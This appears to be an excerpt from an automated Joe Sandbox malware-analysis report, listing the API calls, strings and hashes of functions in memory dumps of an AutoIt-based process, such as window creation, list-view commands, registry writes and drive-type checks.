SSD, xrefs: 001A568F
Unknown, xrefs: 001A5632, 001A56C8
1394, xrefs: 001A56E4
iSCSI, xrefs: 001A5707
Fixed, xrefs: 001A564E
RAID, xrefs: 001A5700
CDROM, xrefs: 001A5640
SSA, xrefs: 001A56EB
Fibre, xrefs: 001A56F2
SATA, xrefs: 001A5715
ATAPI, xrefs: 001A56D6
\\.\, xrefs: 001A5584
USB, xrefs: 001A56F9
Virtual, xrefs: 001A572A
Removable, xrefs: 001A5655, 001A565A
RAMDisk, xrefs: 001A5639
Network, xrefs: 001A5647
MMC, xrefs: 001A5723
SCSI, xrefs: 001A56CF
ATA, xrefs: 001A56DD
FileBackedVirtual, xrefs: 001A5731
SAS, xrefs: 001A570E
PhysicalDrive, xrefs: 001A55BB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: c2ef234d9c257a06a5e1dec1bc3fa45078e39d012c3df19ec9db5fc52681f8f3
Instruction ID: 5d35fa14d58eb2180280f2f48f6e0e44a9dfe6c49013a8e1090ff25f91b1bcef
Opcode Fuzzy Hash: c2ef234d9c257a06a5e1dec1bc3fa45078e39d012c3df19ec9db5fc52681f8f3
Instruction Fuzzy Hash: D5610638A0CA09DFC728DFA4C992D7877B3EF26364BA58015E40ABB292D731DD41DB51

Function 00132521 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001325F8
GetSystemMetrics.USER32(00000007), ref: 00132600
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0013262B
GetSystemMetrics.USER32(00000008), ref: 00132633
GetSystemMetrics.USER32(00000004), ref: 00132658
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00132675
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00132685
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 001326B8
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 001326CC
GetClientRect.USER32(00000000,000000FF), ref: 001326EA
GetStockObject.GDI32(00000011), ref: 00132706
SendMessageW.USER32(00000000,00000030,00000000), ref: 00132711

Part of subcall function 001319CD: GetCursorPos.USER32(?), ref: 001319E1
Part of subcall function 001319CD: ScreenToClient.USER32(00000000,?), ref: 001319FE
Part of subcall function 001319CD: GetAsyncKeyState.USER32(00000001), ref: 00131A23
Part of subcall function 001319CD: GetAsyncKeyState.USER32(00000002), ref: 00131A3D

SetTimer.USER32(00000000,00000000,00000028,0013199C), ref: 00132738

Strings

AutoIt v3 GUI, xrefs: 001326B0
( , xrefs: 0013271A
( , xrefs: 00173909
<) , xrefs: 0013255C
<) , xrefs: 001739A6
( , xrefs: 00132749

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: <) $<) $AutoIt v3 GUI$( $( $(
API String ID: 1458621304-1979737201
Opcode ID: 4a551474191f284590729e429517636dca1c15fa78916af0d26e1cf6af108429
Instruction ID: b2b4fb8801cb5a96b03a6d4e299fbbb1cf3501a0194c488de252b0df6d7efe71
Opcode Fuzzy Hash: 4a551474191f284590729e429517636dca1c15fa78916af0d26e1cf6af108429
Instruction Fuzzy Hash: 71B15C35A00209DFDB14DFA8DC89FAE7BB5FB48314F118229FA19A7290D774E940CB51

Function 001C1A8F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001C1BC4
GetDesktopWindow.USER32 ref: 001C1BD9
GetWindowRect.USER32(00000000), ref: 001C1BE0
GetWindowLongW.USER32(?,000000F0), ref: 001C1C35
DestroyWindow.USER32(?), ref: 001C1C55
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 001C1C89
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001C1CA7
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 001C1CB9
SendMessageW.USER32(00000000,00000421,?,?), ref: 001C1CCE
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 001C1CE1
IsWindowVisible.USER32(00000000), ref: 001C1D3D
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 001C1D58
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 001C1D6C
GetWindowRect.USER32(00000000,?), ref: 001C1D84
MonitorFromPoint.USER32(?,?,00000002), ref: 001C1DAA
GetMonitorInfoW.USER32(00000000,?), ref: 001C1DC4
CopyRect.USER32(?,?), ref: 001C1DDB
SendMessageW.USER32(00000000,00000412,00000000), ref: 001C1E46

Strings

0, xrefs: 001C1B6F
(, xrefs: 001C1DB7
tooltips_class32, xrefs: 001C1C82

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: ace2f21e5a4613b74082875ed97fecc85614e67feed8cea8fd5b7c25edc60534
Instruction ID: a714d1a45a11eacaf14a47cbf57efb79a0e06a6190815d63e1e5e5a6deb30e76
Opcode Fuzzy Hash: ace2f21e5a4613b74082875ed97fecc85614e67feed8cea8fd5b7c25edc60534
Instruction Fuzzy Hash: A1B16971648301AFD714DF64C984F6ABBE5FFA5314F00891CF9999B2A2CB31E844CB92

Function 001C0CDD Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001C0D81
_wcslen.LIBCMT ref: 001C0DBB
_wcslen.LIBCMT ref: 001C0E25
_wcslen.LIBCMT ref: 001C0E8D
_wcslen.LIBCMT ref: 001C0F11
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 001C0F61
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 001C0FA0

Part of subcall function 0014FD52: _wcslen.LIBCMT ref: 0014FD5D

Part of subcall function 00192B8C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00192BA5
Part of subcall function 00192B8C: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00192BD7

Strings

VIEWCHANGE, xrefs: 001C1111
GETTEXT, xrefs: 001C0E88, 001C0EA3
SELECTALL, xrefs: 001C0FB1
SELECTINVERT, xrefs: 001C101A
ISSELECTED, xrefs: 001C0F79
SELECT, xrefs: 001C0FE4
GETSELECTEDCOUNT, xrefs: 001C0F0C, 001C0F27
SELECTCLEAR, xrefs: 001C0FC9
GETSUBITEMCOUNT, xrefs: 001C0E20, 001C0E3B
FINDITEM, xrefs: 001C10C3
GETITEMCOUNT, xrefs: 001C0DB2, 001C0DD3
GETSELECTED, xrefs: 001C107D
DESELECT, xrefs: 001C1038

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: bbe344b9aa1fddfd91a460c9c7d66b59f4cb6b81c410465070619befcfe41227
Instruction ID: 0faf19633a3d7027089e9cf50f1b2fc5ace1ba5d6f80ed96124b0d98c25961e8
Opcode Fuzzy Hash: bbe344b9aa1fddfd91a460c9c7d66b59f4cb6b81c410465070619befcfe41227
Instruction Fuzzy Hash: DFE19B312083419FCB14DF28C951A6AB3E6BFA9314F15496CF8969B2A2DB30ED45CB91

Function 001916D7 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00191A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00191A60
Part of subcall function 00191A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A6C
Part of subcall function 00191A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A7B
Part of subcall function 00191A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A82
Part of subcall function 00191A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00191A99

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00191741
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00191775
GetLengthSid.ADVAPI32(?), ref: 0019178C
GetAce.ADVAPI32(?,00000000,?), ref: 001917C6
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 001917E2
GetLengthSid.ADVAPI32(?), ref: 001917F9
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00191801
HeapAlloc.KERNEL32(00000000), ref: 00191808
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00191829
CopySid.ADVAPI32(00000000), ref: 00191830
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0019185F
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00191881
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00191893
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001918BA
HeapFree.KERNEL32(00000000), ref: 001918C1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001918CA
HeapFree.KERNEL32(00000000), ref: 001918D1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001918DA
HeapFree.KERNEL32(00000000), ref: 001918E1
GetProcessHeap.KERNEL32(00000000,?), ref: 001918ED
HeapFree.KERNEL32(00000000), ref: 001918F4

Part of subcall function 00191ADF: GetProcessHeap.KERNEL32(00000008,001914FD,?,00000000,?,001914FD,?), ref: 00191AED
Part of subcall function 00191ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,001914FD,?), ref: 00191AF4
Part of subcall function 00191ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,001914FD,?), ref: 00191B03

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 5546c8aaa33a826313ab3ceed6219183b49d7e4447cd56d640ddb026f2d4e93f
Instruction ID: 69bda960c7ea4a7d09f3eeb870003d3829e19ce9a88e57d130bd9cc7b250ac14
Opcode Fuzzy Hash: 5546c8aaa33a826313ab3ceed6219183b49d7e4447cd56d640ddb026f2d4e93f
Instruction Fuzzy Hash: B67137B2D0020ABBDF109FA5EC49FAEBBB9BF44710F154125F915A6290D731DA85CB60

Function 001BCE17 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001BCF1D
RegCreateKeyExW.ADVAPI32(?,?,00000000,001CDCD0,00000000,?,00000000,?,?), ref: 001BCFA4
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 001BD004
_wcslen.LIBCMT ref: 001BD054
_wcslen.LIBCMT ref: 001BD0CF
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 001BD112
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 001BD221
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 001BD2AD
RegCloseKey.ADVAPI32(?), ref: 001BD2E1
RegCloseKey.ADVAPI32(00000000), ref: 001BD2EE
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 001BD3C0

Strings

REG_BINARY, xrefs: 001BD373
REG_QWORD, xrefs: 001BD323
REG_DWORD, xrefs: 001BD264
REG_MULTI_SZ, xrefs: 001BD155
REG_EXPAND_SZ, xrefs: 001BD02D
REG_SZ, xrefs: 001BD0A4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: b8dd1747331014773d1f3fe6f2a9c22f7eea8290b8325f4eea0aa36b9621f6ba
Instruction ID: 11dad9b51f89bfbab8b7892638aeb6f72fd0e0a3af8c515491b627511242417b
Opcode Fuzzy Hash: b8dd1747331014773d1f3fe6f2a9c22f7eea8290b8325f4eea0aa36b9621f6ba
Instruction Fuzzy Hash: F9125A756042019FDB18DF24C881A6AB7F5FF98714F0488ACF95A9B3A2DB31ED41CB81

Function 001C13BA Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001C1462
_wcslen.LIBCMT ref: 001C149D
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001C14F0
_wcslen.LIBCMT ref: 001C1526
_wcslen.LIBCMT ref: 001C15A2
_wcslen.LIBCMT ref: 001C161D

Part of subcall function 0014FD52: _wcslen.LIBCMT ref: 0014FD5D

Part of subcall function 00193535: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00193547

Strings

EXISTS, xrefs: 001C1618, 001C1633
ISCHECKED, xrefs: 001C177D
GETTEXT, xrefs: 001C1733
GETITEMCOUNT, xrefs: 001C16BA
GETSELECTED, xrefs: 001C16EA
COLLAPSE, xrefs: 001C159D, 001C15B8
SELECT, xrefs: 001C17AD
UNCHECK, xrefs: 001C17DA
GETTOTALCOUNT, xrefs: 001C148E, 001C14B3
CHECK, xrefs: 001C1521, 001C153C
EXPAND, xrefs: 001C1694

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: bd48b7dd2af3d72210623875d867082ada33d1153352b6956e21b426b4d68974
Instruction ID: df9c5e1725ee74b1f98859ed05c9fc595142747ec85d5e3e9c60e30762d2e949
Opcode Fuzzy Hash: bd48b7dd2af3d72210623875d867082ada33d1153352b6956e21b426b4d68974
Instruction Fuzzy Hash: 6DE18C71648301AFCB14DF24C550A6AB7E2BFA6314F15896CF8969B3A2DB30ED45CB81

Function 001BD3F8 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,001BC10E,?,?), ref: 001BD415
_wcslen.LIBCMT ref: 001BD451
_wcslen.LIBCMT ref: 001BD4C8
_wcslen.LIBCMT ref: 001BD4FE
_wcslen.LIBCMT ref: 001BD559
_wcslen.LIBCMT ref: 001BD58F
_wcslen.LIBCMT ref: 001BD5DF

Strings

HKEY_CLASSES_ROOT, xrefs: 001BD553, 001BD558
HKU, xrefs: 001BD650
HKEY_CURRENT_CONFIG, xrefs: 001BD5D9, 001BD5DE
HKLM, xrefs: 001BD4F8, 001BD4FD
HKCU, xrefs: 001BD62E
HKCC, xrefs: 001BD60C
HKCR, xrefs: 001BD589, 001BD58E
HKEY_USERS, xrefs: 001BD63F
HKEY_LOCAL_MACHINE, xrefs: 001BD4C2, 001BD4C7
HKEY_CURRENT_USER, xrefs: 001BD61D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 82bab8fe83967c7b354339af1ea86c56db72151772a5b74bbf2d9bc92acb8b28
Instruction ID: c81694ac54f0cfbc8c9e63d04f3ff83e1b00de41f886fa7b482e4041f74a1e3b
Opcode Fuzzy Hash: 82bab8fe83967c7b354339af1ea86c56db72151772a5b74bbf2d9bc92acb8b28
Instruction Fuzzy Hash: 4771EA7260051A8BCB289F7CE9515FB33A1AF70758F250128FC55AB294FB35DD45C7A0

Function 001C8D97 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001C8DB5
_wcslen.LIBCMT ref: 001C8DC9
_wcslen.LIBCMT ref: 001C8DEC
_wcslen.LIBCMT ref: 001C8E0F
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 001C8E4D
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,001C6691), ref: 001C8EA9
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 001C8EE2
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 001C8F25
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 001C8F5C
FreeLibrary.KERNEL32(?), ref: 001C8F68
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 001C8F78
DestroyIcon.USER32(?,?,?,?,?,001C6691), ref: 001C8F87
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 001C8FA4
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 001C8FB0

Strings

.dll, xrefs: 001C8E06
.icl, xrefs: 001C8DC3
.exe, xrefs: 001C8DE3

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: a1b43380d412079b0e1799ff2197077f2ca726d2f30260eff3bc275b8c59ce73
Instruction ID: a4cb9b65f6727d302765c48c3be6c026279de612ec758957022a3c2af74fedbd
Opcode Fuzzy Hash: a1b43380d412079b0e1799ff2197077f2ca726d2f30260eff3bc275b8c59ce73
Instruction Fuzzy Hash: 0961CF71900219FAEB14DF64DC81FBEBBA8AF28B15F10411AF915DA1D1DB74E990CBA0

Function 001A48BE Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 001A493D
_wcslen.LIBCMT ref: 001A4948
_wcslen.LIBCMT ref: 001A499F
_wcslen.LIBCMT ref: 001A49DD
GetDriveTypeW.KERNEL32(?), ref: 001A4A1B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001A4A63
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001A4A9E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001A4ACC

Strings

open, xrefs: 001A4999, 001A499E
close, xrefs: 001A4943, 001A495D
close cd wait, xrefs: 001A4AB7
type cdaudio alias cd wait, xrefs: 001A4A46
closed, xrefs: 001A494D, 001A4972, 001A498B, 001A49C3, 001A49DC
open , xrefs: 001A4A2A
wait, xrefs: 001A4A89
set cd door , xrefs: 001A4A6D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 5cbdae691e47afb0b24cace983dbde2b5f6226d76aa9169f0280987f6d591164
Instruction ID: f37dc7a6c708a4f6c3775f4f005c1b54ffe7746a0917b80c06434d9ae85454e6
Opcode Fuzzy Hash: 5cbdae691e47afb0b24cace983dbde2b5f6226d76aa9169f0280987f6d591164
Instruction Fuzzy Hash: 5071F1766083069FC710EF24C88197BB7E4EFA9768F00492DF896972A1EB70DD45CB91

Function 00196382 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00196395
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 001963A7
SetWindowTextW.USER32(?,?), ref: 001963BE
GetDlgItem.USER32(?,000003EA), ref: 001963D3
SetWindowTextW.USER32(00000000,?), ref: 001963D9
GetDlgItem.USER32(?,000003E9), ref: 001963E9
SetWindowTextW.USER32(00000000,?), ref: 001963EF
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00196410
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0019642A
GetWindowRect.USER32(?,?), ref: 00196433
_wcslen.LIBCMT ref: 0019649A
SetWindowTextW.USER32(?,?), ref: 001964D6
GetDesktopWindow.USER32 ref: 001964DC
GetWindowRect.USER32(00000000), ref: 001964E3
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 0019653A
GetClientRect.USER32(?,?), ref: 00196547
PostMessageW.USER32(?,00000005,00000000,?), ref: 0019656C
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00196596

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: fe28f2f0acef3af39e6adb5769eb17daf8e257a109542da25be0394f5a58e46e
Instruction ID: 4321fe89c16cd584e58130418831a09b51a3a038897ef1ee302ad5eb8abee1eb
Opcode Fuzzy Hash: fe28f2f0acef3af39e6adb5769eb17daf8e257a109542da25be0394f5a58e46e
Instruction Fuzzy Hash: 1F713931900709AFDF20DFA8DE85EAEBBF5FF48704F104928E586A25A0D775E944CB60

Function 001B086B Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 001B0884
LoadCursorW.USER32(00000000,00007F8A), ref: 001B088F
LoadCursorW.USER32(00000000,00007F00), ref: 001B089A
